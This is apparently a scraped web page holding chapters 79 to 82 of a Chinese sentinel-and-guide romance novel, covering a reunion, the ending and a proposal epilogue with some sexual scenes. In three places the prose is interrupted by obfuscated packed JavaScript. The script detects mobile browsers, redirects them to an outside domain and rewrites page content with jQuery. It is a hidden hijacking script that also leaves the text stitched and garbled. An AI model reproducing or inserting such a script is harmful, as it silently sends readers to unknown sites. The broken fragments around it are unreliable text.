;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055918|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经成煜便是在这样的封闭下执意走向了死亡。除非哨兵自己愿意,否则即使是再强大再匹配的向导,也无法用外力强行打开哨兵的深度封锁,最后等待哨兵的,只有漫长而痛苦的死亡。 她轻轻捧住那张憔悴的脸,无措地抚摸着他的身体,他单薄得像是一尾透明的羽翼,仿佛没有了重量。 顾小绒全身都发着抖,几乎快要站立不住。她已经没有精神力了,只剩下最浅层的一点点可以勉强驱动,可是在此时的状况下,这样的尝试无异于杯水车薪。才进行过切割的精神力只被强行驱动了一点点,顾小绒的全身就霎时被冷汗浸透,可是她不能停下来,她几乎是死一般地逼着自己。 快动,快动啊,你这个没用的向导。她不得不抽回手抵在太阳穴上,恨不能将自己的脑壳撬开。 另一只手发狠地掐住自己的身子,滚烫的痛觉鞭挞过神经末梢,残余的精神力却仍旧只是在极浅的层面温吞地涌动着,她再也不能进行精神连接了,她将眼睁睁看着他死去。 眼泪大颗大颗地滚落下来,意识到这一切的残疾向导咬住了自己僵直的臂弯。 她还没有来得及和他道歉呢,她从头到尾都在骗他,把他耍得团团转。即使她已经拼尽全力完成了任务,却依然来不及挽救他积重难返的身体。是她做得不够好,是她拖延了太久,任务完成得太慢。 对不起,都是我不好。 她的呜咽被吞噬在紧咬的唇齿里,血腥大片地弥散开来,尖锐的疼痛伴随着精神力过载的灼烧,大病初愈的身体顿时摇摇欲坠。 已经崩溃的情绪和坍塌的精神力使她根本没有注意到室内细微的动静,黑暗中一道明丽的微光猝然闪过,哨兵睁开了那双深黑的眼睛,“当啷”一声脆响后,那只束缚着他的手铐像是纸片一样被撕碎了。 向导的眼前一片翻江倒海,身体失控调转,她被猝不及防地按到了病床上。 哨兵投射的阴影山一般将她笼罩,如果她还保有健全的精神力,她就会知道此时雪松味的信息素几乎快要将整座楼房掀翻。 “停下来!”哨兵熟悉的声音响起,清冷而威严:“你在做什么?” 他一手扣住了顾小绒的掌心,阻止了她强行驱动残缺的精神力。顾小绒怔怔地注视着前方,却因为汹涌的泪水看不清他的脸。 黑豹将她压在身下,俯下身子吻住她伤痕遍布的口腔,他的动作急切而粗暴,像是野兽一般长驱直入、攻城掠地。坚硬修长的手覆上她紧紧蜷起的拳,他将她吻得瑟-缩成一团,又一点点坚定地展开,直到她柔软莹白的指尖与他紧紧相扣。 她还没有从剧烈的抽泣中缓过神来,就被这股突如其来的风暴裹挟其中,缺氧与剧烈的情绪波动让她的身体近乎抽搐,她不得不回应他的吻,从他的吐息中获得稀薄的氧气。 月光沿着韩奕高挺的眉眼与鼻骨流淌而下,将那张冷峻的脸勾勒得光影分明,黑曜石般的眼睛像是刚刚被一场炽烈的大火焚烧过,几乎要将她烫伤。 他们彼此之间缠绕横亘的丝线已经太多,以至于许久后,她空白的大脑才开始缓慢地运转,她想起自己至少应该说声对不起,可是却根本没有开口的机会,哨兵的另一只手钳住了她的下颌,她无法挣脱。 眼泪漫涌而上,她的视线一片迷蒙,他的眼睛与轮廓像是再次被卷入雾气中,想要伸手去抓,却被对方禁锢得更紧。她的手被他按压住举过头顶,精神力被阉割后,她的肌肉强度与骨密度都大幅下降,被哨兵用这样的姿势自上而下地控制,像是砧板上的鱼一样动弹不得。 黑豹注视着走入陷阱的猎物,唇齿往下,叼住了她温热柔软的脖颈,她实在是离开了他太久,以至于他无法克制住将她拆吃入腹的冲动。荔枝被剥开了坚硬的壳,露出莹白的果肉,丰-沛的汁-液流连在唇齿间,香甜软糯的味道充斥着哨兵的鼻息与味觉,将他的心填满。 他忍不住索取她的精神力,自从他们分开之后,他就再也没有过任何深层次的连接,她能感觉到他的触碰,可是却无法给与他回应。荔枝味的向导素变得很淡,直到最后他才将她捕捉,连接只持续了短短数秒,但曾经缔结的刻印仍旧留存在他们彼此的身体中,坚如磐石般的存在着。 他终于再次拥有了她,这一次,他绝不会再放开她的手。 80. 最终章 做过手术的身体到底比以前差了很多,因为强行驱动精神力,残存的那一部分又开始了剧烈的波动。 清晨的时候顾小绒没能醒过来,她从后半夜开始发起了烧。最终,剧烈的疼痛还是将她从昏沉中弄醒,醒来时她的一只脚踝正被哨兵握在手里,这样的动作让她几乎瞬间挣扎着想往后退。 “别动,擦药。”韩奕蹙着眉,那只禁锢着她脚踝的手松了松,像是怕把她弄伤。 服从长官的铁律深入骨髓,她的意识立即清醒,控制住因为恐惧而微微颤抖的身体。冰凉的药膏均匀地涂抹到红肿发烫的伤口上,难以忍受的疼痛堪堪消解了一些。春季的清晨温暖怡人,可因为发烧,她觉得身上冷得厉害,牙齿控制不住地打着颤。 病房里的温度被定到了26度,韩奕几乎只穿着一身白色的衬衫,还挽起了袖子。在仔细上完了药后,他重新给她穿上了裤子和袜子。这些替换的衣物看上去并不是一时半会儿能找来的,顾小绒懵懵地看着他,后知后觉地反应过来这应该是一场蓄谋已久的阴谋。 “再睡会儿。”韩奕的手轻轻抚上她的额间,随后在她的眼角落下一个轻柔的吻。 “报告长官,根据后续的探明情况,这座地下实验室的培养皿数量一共2604个、躯体1891个、残肢与器官456个。”负责统计的士兵逐字逐句地仔细汇报着,这一次他们有充足的时间将这座实验室翻到底朝天。 “‘一号区域’的数据呢?”韩奕正在浏览着另一份文件,目不斜视地问道。 “回长官,‘一号区域’已探明的培养皿数量有1200个,躯体1023个。”士兵仔细地核对了一眼数据结果,回答道。探测结果都是机器探测后再进行人工复核的,数据准确无疑。 “嗯,放这儿吧。”上将开口道,士兵如释重负地将报告放到桌上,随后退了出去。 大门刚刚关上不久,屏风后的另一扇门便被打开,周成山从里面的病房中走出,伸手取下了银质的眼镜。 “她的状况还好吗?”韩奕放下了手中的文件,问道。 “她恢复得不错,只是注射了太多致幻剂,精神力仍旧在失控边缘。等到她的状况再恢复一些,医生会对她进行精神力切除手术,以防她伤到自己。”周成山答道。 在门的另一侧,一个黑色长发的女孩正卧在病床上熟睡,她在世界上唯一的亲人、她的姐姐此时正坐在病床前,温柔地替她盖好被子。两年前,这位名叫温莉的女孩在南境一次混乱的黑-帮火拼中丢失,她的姐姐拼尽了全力寻找,却仍旧没有结果。 在南方,才刚分化的向导小孩被抢走或者掳走是司空见惯的事,温莉分化成向导不过一个月,混乱便如期而至。这些被掳走的向导小孩几乎都会被切除精神力,转手卖到地下卖场,因为无法再探寻到向导素,他们的家人将永远无法再找到他们。 战争结束后,帝国解救出南境所有被非法拘禁的向导,并打造了一套寻亲识别系统,录入他们的照片、资料和DNA,截止到目前,这套高效的系统已经帮助3000名以上的向导找到家人,这个数字仍在持续上升。 温莉的姐姐在战后去这个系统录入了自己的信息,在半个月的数据解析与等待后,她竟然真的找到了自己的妹妹。这些受创的向导们都有帝国的专项拨款以做治疗,这部分费用都是从南方军那些投降的将领那里搜刮回来的,他们的贪婪与奢侈程度令北方震惊。 在安排姐妹重逢、并承诺报销温莉后续治疗与康复的费用后,民众对帝国感恩的心再次推到了至高点。姐姐是普通人,不太清楚向导与精神力的概念,只以为妹妹同别的向导一样在地下卖场受苦,连身体也瘦弱不堪,像是完全没有再生长了一样。 整个帝国只有为数不多的人知道真相,温莉并不是因为瘦弱和营养不良,看上去没有长大,而是她此时的身体年龄就定格在2年前的14岁。她的后脖颈上烙有一串很小的数字编码,这并非来自普通的黑市卖场,而是晏泽实验室中的克隆体所特有的。 当然,这些信息被不露痕迹地隐藏了,甚至连温莉本人也没有搞清楚到底是怎么回事,她的年纪太小,晏泽的精神侵袭与催眠方式又诡谲多变,直到最后,她也只迷迷糊糊地记得两年前充满消毒水的病房,之后就像是睡着了一样,做了一场漫长又光怪陆离的梦。 周成山的推论并没有错,“门”是通道的定位点,可以将“核心”输送到指定的位置,一个“门”只能对应一个“核心”,“门”一旦关闭,就只能重启通道时才能再次打开。晏泽等待的就是这一天,他的妹妹并没有死,只是被关在了门后,绑定在了与哨兵对接的区间里。 顾小绒被投入过“门”中一次,用来与那时的白狼对接,周成山认为,那一次的“门”是一个临时的通道,因为她的“逸散”程度不够,还没有真正成为“核心”,否则即使是斯特兰后面对她强行注入药剂,也无法将她唤醒。 晏泽并没有打算将她放进真正的“门”里,他从一开始就想要将她做成下一个“通道”。重启后,他们的精神力与意识将被输送到早已准备好的克隆体上。所以某种程度上说,黑暗向导实验的确成功了,那个男人确实打破了命运的枷锁,他非但制作出了一套稳定、完善、可持续的集成向导系统,某种程度上说还实现了永生。 从顾小绒最后的记忆可以看出,晏泽、晏殊与温莉被各自投入到新的“门”中,艾丽西娅放弃求生,所以最后留在顾小绒面前的,还有一扇“门”。 在他们刚刚突进到地下实验室的“一号区域”时,曼琳就曾让技术员汇报情况,那时候的技术员回答的是:“培养皿数量1200个,躯体1026个。” 而就在刚才,士兵的汇报数据是:“培养皿数量1200个,躯体1023个。” 这三具躯体的误差从何而来?实验室的监控器与热感应器在被北方突破时摧毁,他们作茧自缚,只能永远与真相擦肩而过。 有整座中心医院的顶尖团队保驾护航,顾小绒的烧退得很快,波动的精神力也很快控制了下来。 她出了一身冷汗,在此期间哨兵尽职尽责地照顾着他的向导,替她擦洗身体、喂药、测量温度。她的体温比之前要低一些,也更怕冷,即使盖着被子,手脚也经常是冰凉的。韩奕不得不解开衣服,侧身躺上病床将她搂入怀中,尽管那张病床原本就是他自己的。 哨兵温暖的体感将向导包裹,顾小绒很快暖和了起来,她舒服地蜷起身子,脚若有若无地触碰在韩奕的小腿上。韩奕拨开她银色的发丝,看见了她脖子后的那串编码:040。他垂下眼,将指尖从她的后脖颈上移开,转而轻轻摩挲她的脸颊。 医生说,切除了精神力的向导几乎与普通人无异,她的感官与体能也都将退回普通人的状态。一位A级女性向导的肌肉密度比普通成年男性更高,而现在她的肌肉密度已与普通女性无异。 医生怕眼前的哨兵不清楚概念,又附上了一些额外的叮嘱,比如以后他需要极其小心地对待他的向导,不能有过于用力的触碰和冲撞;比如她需要维持情绪和精神力的稳定,尤其是残存的精神力,不能再被强行驱动或是受刺激。 上将沉默着点头,这不是他第一次被医生训话,不过他希望可以做到没有下一次。 黑豹圈着他昏睡的小鸟,下颌轻轻蹭着她的脖颈,环抱着她的手稍微紧了紧,她柔嫩的肌肤就瞬时盈满了他的指缝。忽然的收紧让昏睡中的顾小绒有些不舒服,她轻轻挣扎了一下,韩奕立即松了半分,她的身体变得柔软极了,倒真的有些像圆圆肉肉的荔枝,让他忍不住想咬一口。 因为是克隆体,原本身躯的破损与创伤也不复存在,被缝合过的舌根重新恢复成了原本的样子,被截掉的小腿也重新回到空荡的膝盖下,此时的顾小绒曲着腿,一双小巧的脚正朝后窝在他的怀里。 韩奕也合上了眼,将下颌抵在她银色的鬓发上。窗外阳光晴丽,蓝雪花的花茎附上窗框,娇嫩的花苞上还留有晨时的露珠,空气中盈满了茉莉的清香。哨兵拥着失而复得的爱人,进入了久违的梦乡。 即使是卸任了上将的职务,莱安对信息的感知也依旧敏锐,沈骁才从疗养院离开就接到了对方打来的电话:“怎么样?人送到了吗?” “嗯,完事了。”沈骁打着方向盘,他要行驶过一段漫长的盘山公路才能下山。 “行。”对方简洁地答了一声就准备挂电话。 “诶,我有点好奇。”迎着窗外明亮的太阳,沈骁伸手拉下挡板,他一路飞驰在茂密的绿荫道中,花香与鸟鸣从半开的车窗中涌入,是春晓的气息:“韩奕到底威胁了你什么?能让你这么紧张?” “啧,闭嘴。”对方恨恨地挂断了电话。 宁静的法洛亚小镇从来没有涌入过这样多的A级哨兵与向导,尽管他们都穿着常服,可笔挺的仪态与站姿清晰地表明了他们的身份。 为首的年轻女哨兵早就准备好了剧本,她告诉咖啡店老板,因为公会的调度,名为槿柔的退役向导将被调去别的区域,没能来得及回来请辞,他们是来替她办理离职的,如果有什么违约的地方,公会愿意进行补偿。 房东那边复制了一模一样的套路,没多久向导数量不多的行李就被打包完毕,房东老太太有些惊异地望着阁楼上一字排开的年轻哨兵们,最终还是有些担心地问道:“那孩子怎么了?是出了什么事吗?” “哦,没事的,公会正常调度,您放心。”女哨兵露出一个温和的笑容解释道,她觉得这项任务完成得很棒,自己表演得简直无懈可击。 “公会怎么可能报销这个?钱是你给的吧?”顾小绒给自己披上一件白色的针织衫外套,拎上了包包就准备出门。午后的晴空一碧如洗,和煦的暖阳从玄关一侧的百叶窗照射进来,她的周身被拢在一层柔软的微光中。 “他们没有收钱。”哨兵清冷的声线传来,顾小绒抬起眼,便对上了那双目光灼灼的黑色眸子。 不打自招,她低下头笑。 “你现在就派年轻人去跑腿做这种工作?”她抬头望他。 “他们可高兴了,公费旅游。”韩奕面不改色地答道,即使被属下屏蔽了朋友圈,但大规模的发旅游vlog动静也着实不小。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曼琳还在中央公会,把事业干得风生水起、蒸蒸日上。而布雷塔妮的请辞申请也被上将拒绝了,理由是她一直恪尽职守且功勋卓著,希望她可以继续在向导总负责人的岗位上发光发热。 沈骁选择回到第五公会的专属封闭城市瓦莱特,与重泽夫妻成了邻居,他才刚回去不久夫人便有了身孕,这可真是老婆孩子热炕头了。 顾小绒擦干净桌面,接着收拾了地板,天色晚了下来,门店里最后一位客人也离开了。 “叮铃”一声清脆的声响,玻璃门被推开,她抬起头,面露为难地看着自己的哨兵,或者确切来说是她的伴侣:“这位先生,请问有什么可以为您服务的吗?” 她公事公办的态度让韩奕有些伤心,他随后指了指一旁的玻璃柜:“我想要一份草莓奶昔。”都这个时候了,他也确实不能说是来买咖啡的。 “……”顾小绒沉着脸完成了今晚的收尾工作,尽职尽责地替她最后的客人打包好了那份奶昔。咖啡店距离他们的住所有一些距离,顾小绒还没来得及开口,韩奕已经将她的小电车塞到了后备箱里。 自从她禁止韩奕接送自己上下班后,他就总是有各种各样的理由过来。 “我不是要来接你,我是来买奶昔的,顺路。”韩奕启动了车子,仪表盘亮起一片莹光,顾小绒坐上了她专属的副驾,柜子里放着她常用的纸巾、梳子、唇膏和护手霜,车后还放着卡通公仔和小被子。 “为什么要来店里买,想吃我可以在家做给你。”这么晚来买的都是临期的,还很贵,后面这半句她没有说。 “因为我现在就想吃,而你刚好不在。”韩奕低垂着头,仪表盘暗了下来,他的眉眼隐匿在阴影里,语气听上去有一点委屈。 顾小绒觉得自己实在是对他无计可施,只能叹了口气,如他所愿地靠进他的怀里。她的身子才刚刚一动,就被他修长的手臂轻轻一勾,随后重重地跌了过去。 自她回来后,韩奕的病情便开始逐渐稳定,他的药量已减到了从前的一半,每天也可以固定地睡着5小时,有时候甚至更久。哨兵嶙峋苍白的脸颊上逐渐恢复了健康的血色,体重也稳步回升,连曾经淬着冰的眼睛也化成了一池柔软的春水。 她被拥在他坚实温暖的怀里,耳朵靠着心脏的位置,那颗心正紧贴着她、为她炽热地跳动着。 他想吃奶昔就让他吃吧,顾小绒闭眼想着,只要能让他多长回一点肉就好。她随后轻轻拱了拱,用脸颊蹭了蹭他的掌心:“我们回家吧。” 晚上的罗赛利亚华灯初上,晚风裹挟着玫瑰微醺的甜,从半开的车窗中丝丝渗透进来。此时的城市中心正是繁华热闹的时候,毕竟封闭城市只是对外门禁严格,对内可是自由自在,这个时候正是年轻人夜生活开始的时候。 不过他们不往那边去,车辆行驶过幽静的绿荫道,高大的梧桐遮天蔽日地笼罩住宽阔的街,市区的喧嚣离他们越来越远,许是乌云终于散去,流泻的月华霎时从细密的梧桐树叶中洒落而下,他们被笼罩在一片雪白空灵的银色中。 在道路的尽头,他们的家正静静伫立在夜色里,亮起温暖守望的灯。 而她的月亮,也正在她的身边。 (正文完) 81. 番外一[番外] 忙完一天的工作后,程浩找了家茶餐厅入座,这是他第一次带着周烨一起加入他们的向导精神疏导小队,为了庆祝工作圆满完成,他们决定约上楚飞和正羽一道吃个饭。 两位哨兵很快就赶了过来,反正退役之后时间松散,约饭几乎随叫随到。最开始楚飞对程浩要带着周烨加入小队这个想法表达了抗议,毕竟他的向导伤得这么重,好容易才被他养回来一点点,别又被折腾出什么好歹来。 “拜托,我们认识多久了?对我都不放心?”娃娃脸向导对此不以为意,推着周烨就往外走:“一天天在家里闷着,人都要闷出病来,还不如出去做点事。” “……”想起周烨在家里恹恹的样子,楚飞不得不同意了这项提议。 他们同一届退役的熟人已经没几个了,彼此之间除了偶尔聚餐也没有什么太丰富的社交,这次突发奇想的偶然聚餐,倒是让他们撞上了新鲜热辣的八卦。 “诶,你听说没有,那位上将好像要订婚了。”一道纤细的女声传来,被哨兵敏锐的听力捕捉到,这声音实在是过于清晰,向导也听到了。 “哦,他也该结婚了,有30了吧?”另一位听起来更年长的女声答道。 程浩感觉到自己的兔狲瞬间支棱起了尖尖的耳朵,毫无意外,楚飞的虎与周烨的猞猁都睁着圆圆的眼睛望向那一边,连正羽的哈士奇都聚精会神地抬起了头。 外界的情况不太清楚,但对于封闭城市这样的哨兵向导圈子,某位黑暗哨兵的名头实在是太响了,要不是上将出行都是严格清场保密,狗仔恨不得把他最近的所有行程都挖出来登报。 “婚配的是哪位女士啊?肯定是贵族吧?”另一位女声问道。 贵族?西里埃克斯?莱安?这几个词汇瞬间从脑海中蹦跶出来,楚飞开始脑补起老师迎娶莱安的表妹、表姐或是表姨的画面,面部表情有些抽搐。 不过这些或真或假的传闻已经持续有段时间了,众所周知爱德华亲王有一位20岁出头的侄女,而前段时间的皇室沙龙上,凯瑟琳夫人还试图给韩奕介绍她的一位堂妹和一位表姐。 毕竟韩奕这样的身份,即使是贵族也是想要攀附的,曾经他还是危险的S级哨兵时,大家纷纷避之不及,而在他分化为可控的完全体哨兵后,那些害怕他的人又都冒出来阿谀逢迎。尤其是一些已经被权力边缘化的老牌贵族,他们太渴望能将这样的实权者收入自己家族。 只有一个人,在他最危险难挨的时候陪伴在他身边,在刀山火海里追随他,在淋漓的血里轻抚过他的脸,在灼痛的呼吸中陪伴他安眠。 周烨深色的眼微微一沉,将目光移往别处,似乎不想再听下去。 八卦的交谈声也像是意识到什么似的收敛了,过了好几秒,才听到一声明显降低了很多的气音:“都不是,这一次……是菲奥娜公主。” “当啷”一声轻响,正羽手中的叉子掉落在地,打破了餐厅不知何时悄然静止的空气,他连忙俯身去捡,服务员听见动静,急急忙忙过来收拾,店内随后又恢复了熙熙攘攘的声息。 正羽拿着服务员新给的叉子,抬头便见到了程浩顿住的脸,娃娃脸向导正吃着肉丸意面,他的嘴里还包着一颗丸子,将那张本来就圆的脸撑得鼓鼓的。片刻后,他才回过神来似的继续咀嚼那颗丸子。 菲奥娜公主是当今女皇的女儿,战争结束后不久便被封为了王储,为日后的继位做准备。公主今年21岁,精通4种语言、剑术与钢琴,是中央剧院首席钢琴家蒙戈、前任首席剑士德利特恩公爵的学生,她还是帝国中央大学的在校大学生,也即将进入三军服役历练,目前准备去的是空军编队。 楚飞也被吓得不轻,他的神情看上去比韩奕娶了莱安的表姨还要可怕,毕竟这可是帝国的王储、未来的女皇,如果这事是真的,那么就意味着韩奕将要成为未来的亲王。 只有周烨神色平静,他的目光几乎有些冷淡地扫着桌前的牛排,白皙的手指握住刀叉,切得又快又准。 以上将今时今日的地位,他并不为这个结果感到意外,韩奕在三军中拥有极高的威望,皇室又怎能允许这样的力量游离于自己的掌控之外,联姻是最稳固的手段。 不过,那些小报只是想搞点花边新闻赚噱头,并不是真的想找死。王储的身份非比寻常,绝不是狗仔敢轻易招惹的,这样的消息能被散布出来只有一种可能,那就是皇家的有意试探。怪不得最近皇室与贵族的沙龙举办得如此密集,还经常邀请军方高层一起,那些自以为有希望的贵族小姐们,最终还是做了王储殿下的陪衬。 周烨勾了勾唇角,露出一个冷淡的笑,他已经离开了公会,对这种大鱼吃小鱼的戏码不感兴趣。 与此同时,舆论风暴的中心、某位案牍劳形的上将正风尘仆仆地赶回罗赛利亚,他将原本2个月的工作压缩到了1个半月,极限完成后便披星戴月地赶了回来。 韩奕没有告诉顾小绒自己回来了,在远远望见空荡荡、关着灯的院子后,他立即调转了车头去往咖啡店。 时间也才到晚上8:30,夜幕降临之后,繁华的街道灯火璀璨、熙熙攘攘。韩奕将车停在马路的另一侧,哨兵敏锐的视力隔着车窗与门店玻璃,精准地捕捉到咖啡店中的细节。 即使到了晚上,店里购买蛋糕、面包和奶茶的年轻人也络绎不绝,不过大多数人在结了账后就走出了店门。哨兵的目光落到了店内的一个年轻小伙身上,他看上去也就20出头的模样,穿着一身深灰色的T恤,上面还映着校队篮球社的徽章。 年轻小伙正在和顾小绒攀谈着什么,在温暖的明黄色灯光下,她对他盈盈地笑着,好像他在说什么极其有趣又新奇的事。韩奕的手在看不见的暗处紧了紧,这小子已经缠了顾小绒有段时间了,尤其最近这段时间,他几乎每天都借口来店里买她做的咖啡和蛋糕。 上将的手下轻轻松松地将小伙的高清街拍传了过去,不到5分钟他的资料就被扒了个底掉。韩奕知道自己这样做是不对的,他在监视顾小绒、侵犯她的生活,连辞掉她法洛亚的工作、退租也是他的决定,他甚至根本没有问过她的想法,可他无法控制自己…… 上将疲惫地捏了捏眉心,小伙是一位退役哨兵的儿子,目前正在邻市上大学,读的机械工程专业,放假时才回到罗赛利亚的父母家里……他也不知道自己要这些资料做什么,他又不可能为了一些莫须有的理由去欺负一个毛头小子,小绒原本也才21岁,会吸引到同龄男生是再正常不过的事。 在公会和军部,慑于韩奕的身份,没有人敢不知好歹地招惹顾小绒。但是出了军队,他就没有了任何身份,从追求者的角度上说,他与那个小伙子是平等的。 对方甚至比他更加年轻,那张朝气蓬勃的脸上没有半分战争留下的痕迹,而他已年过三十,经年累月的伤痕布满不再年轻的身体,他的眼眸也不再清透,只留下历经风霜的晦暗。 胸腔一阵沉闷,熟悉的痛觉从筋脉的跳动中隐隐浮现,韩奕熟练地拿出药瓶,将两片止痛药吞了下去。 本来不算成功的求婚就已够让人心烦,现在情况还变成了这样…… 是的,传言并不是空穴来风,上将确实在暗中准备着求婚与订婚,只是对象并不是王储殿下,而且求婚的过程也并没有非常完美。 在顾小绒回来之后,他就一直想找时间对她求婚,只是他订做的那一套蓝钻饰品是出自一位性格乖张的珠宝大师之手,那套钻石本身的成色与质地十分一流,又是要求量身订制设计,大师决定好好构思一番再做打算,这一拖就是四个月。 在此期间,韩奕也不是没有做别的准备,这多少还要感谢曼琳最近也正在筹备婚礼,他可以旁敲侧击地问一些细节,比如现在流行的样式与品牌。上将就这样艰难地从零开始,一点点筹备好了求婚计划。为避人耳目,他特意选中了千里之外的一座庄园,那里也曾是皇室的行宫,后来为了缓解战争时代的经济紧张被挂牌出售,中间几经转手,最后兜兜转转落到了韩奕手里。 庄园位于幽静的埃斯莫瑞山谷中、远离喧嚣,春天降临后,山中的茉莉、勿忘我与风信子开得烂漫,韩奕花费了一笔不菲的资金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055920|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修缮古老的庄园、配置好了舒适的装潢、水电与地暖,他将百里内的花园重新整理,种上了白玫瑰,这些花都是移植来的,很快便结出了娇嫩的花苞。 珠宝完成的时候刚好迎上了花开,整个场地的布置也是某位策展艺术家与团队的精心杰作,每一朵玫瑰的朝向、开放程度、灯光、蜡烛与香薰等等细节,无一不是被精心打磨过。巨型水晶吊灯是上将花了些心思买回的古董,打开之后,重新修整的古宅又恢复了曾经的光辉,同初建时一样雍容奢靡、美轮美奂。 为了营造惊喜,顾小绒对此毫不知情,她只简单穿了一条白裙子就匆匆赴约,身上还有没来得及散去的咖啡味。 弦乐悠扬地萦绕在身侧,几声清脆的钢琴将走神的向导拉回,她有些发怔地望着被递到眼前的一大束白玫瑰,里面托着一只璀璨的蓝钻戒指,但比这一切更具冲击力的、是此时正捧着花对她单膝下跪的长官。 她做梦都没敢想过韩奕能对她这样,抖抖索索地要去扶他起身,又反应过来先接过了钻石和花,而与钻戒配套的项链、手链与耳坠,也在同时摆到了桌子上,一整个绚丽夺目、流光溢彩。 气氛已经被烘托到了这儿,真有什么别的也只能往后再说,顾小绒及时地收回了欲言又止的眼神,只是她片刻的为难与犹疑还是落到了韩奕的眼里。 以上就是那一整场不太完美的求婚全过程。 铁门响动的声音重新拨回了哨兵的思绪,咖啡店已经关了灯,韩奕看了眼时间,指针已经到了晚上9点。也不知道顾小绒是怎样打发走了那个小伙,她已经换下了咖啡店的工作服,所穿的还是那条白色裙子。她很显然也注意到了停在对面的车,推着小电车走了过来。 韩奕下了车,将后备箱打开,她的身上还萦绕着咖啡味,以及一些说不清的陌生气味,哨兵的信息素几乎是立即汹涌地裹挟而上,恨不得将向导的全身都标记一遍。 曾经的顾小绒对韩奕的信息素十分敏感,即使是有一点点发苦,她都能及时察觉他的情绪,可现在,她只能有些犹疑地望着他,对车内几乎爆裂开来的信息素无知无觉。 “不是说月底才回来吗?怎么提前回来了也不说声?”顾小绒小心翼翼地问,虽然答应了求婚,可在那之后两人的关系反而变得更加微妙了,她对他说话也更加小心。 不想让我回来是还要和别的男生聊天吗,韩奕心里这样想,出口却变成了:“提前完成了工作,就回来了。”过于沉痛的过往到底还是重塑了上将的脾气,他选择自己消化这股无名火。 “……”顾小绒看着冷脸打方向盘的哨兵,一时无法判断他此时心绪不佳是因为工作还是什么,但出于对他的了解,她感觉到今晚大概很难善终。 果然,门刚一关上她就被堵在了玄关,哨兵单手将她抱起来放在柜子上,另一只手落在了她的身侧。这场厮磨来得急迫,她被他发狠地追逐着、吻得快透不过气来,推也推不开。 月光下,黑豹的眼睛变作了兽类的竖瞳,信息素将微凉的空气灼烧得滚烫,他将她按在身下,从后叼住她雪白柔软的脖颈,如同野兽叼住猎物。黑刃锲入荔枝丰盈的果肉里,甜美的果汁从中争先恐后地涌出,哨兵缓慢地吃着,任由她的味道弥漫在唇齿与鼻息间、将他越裹越紧。 做为一个活着挺过软化剂、致幻剂持续注射的向导,顾小绒一直觉得自己的毅力与承受力算是较为强悍的存在,不过今晚事情才开始不过五分钟她就隐隐觉得有点不行,十分钟后丢盔弃甲、涕泪横流,十五分钟后忍无可忍地哭着求饶,到后面不知过了多久痉挛着晕了过去。 醒来的时候,天已经亮了。 身上是沐浴露的清香,也整整齐齐地穿着睡衣,很显然昨晚晕过去后,韩奕将她抱去洗了个干净。她感觉到哨兵的手搭在她的腰间,他均匀的呼吸在她醒来后就悄无声息地隐去了,她想要悄悄起身,那只手却忽然发力将她扣住。 “去哪?”哨兵灼烫的呼吸贴在她的耳后。 “上厕所……”声音沙哑得可怕,她无可奈何地和他解释道。 82. 番外一[番外] 等到顾小绒艰难地上完厕所并洗漱完毕,逐渐清明的脑子开始感觉到有一些不对,韩奕一直保持着公会中的作息,每天最晚6:30起,这几年还有越来越早的趋势,可是现在……顾小绒抬头看了眼时间,时钟已指向上午9:40。 她轻手轻脚地回到床前,阳光晴丽,银瀑一般从茂密的枝叶中渗透而下,透过乳白的薄纱洒落到床上。 韩奕仍旧侧卧睡着,整个人缩在被子里一动不动,顾小绒扒开了被子,一眼就看见了哨兵绯红发烫的脸,他的喘息变得又急又重,眉间紧拧、下颌紧咬。她很清楚他这样的神情,他每次受痛的时候都是这样。 她赶紧掖好被子,下楼去联系科林。 本来今天也该是医疗团队上门的时候,她的这通电话把原本计划下午来的队伍提前到了上午,科林如同之前的每一次那样及时接通了电话,详细询问了她上将此时的情况,并保证2小时后会准时到达。 顾小绒用体温枪测了测哨兵的温度,上面的数据窜到了惊人的39°,她又去翻找他的行李箱和衣兜,发现前不久还满满一瓶的止痛药又所剩无几。 韩奕曾经是连清创、缝合、甚至外科手术都能忍受住不要麻醉剂的,难以想象他现在承受的是怎样的痛苦。 顾小绒捏着空空的药瓶,不知道自己是什么神情,因为精神力被切除,她真的一点没有发现他的不对劲,尤其是昨晚他还在床上那样置人于死地…… 她来不及细想,赶紧下楼去煮了一份热乎的奶油南瓜汤,又兑了一杯蜂蜜牛奶端上来。韩奕还没有吃早饭,也不知道他昨晚这样马不停蹄地赶回来有没有吃晚饭,她心疼地扶起她的哨兵,给他穿好衣服。 韩奕乖乖地任由她动作,也许是高烧烧得有些模糊,他的眸子看上去氤氲着一层水雾。在补充了足够的餐食和营养后,顾小绒又按照科林的指示,在韩奕的太阳穴与身体的一些部位涂上酒精,再套上了一层足够厚的鹅绒被将他裹好。 这些事做完之后不久,医疗队已经赶到了楼下,顾小绒摸了摸脸,确认纳米面具已佩戴无误,这才下楼去打开了门。 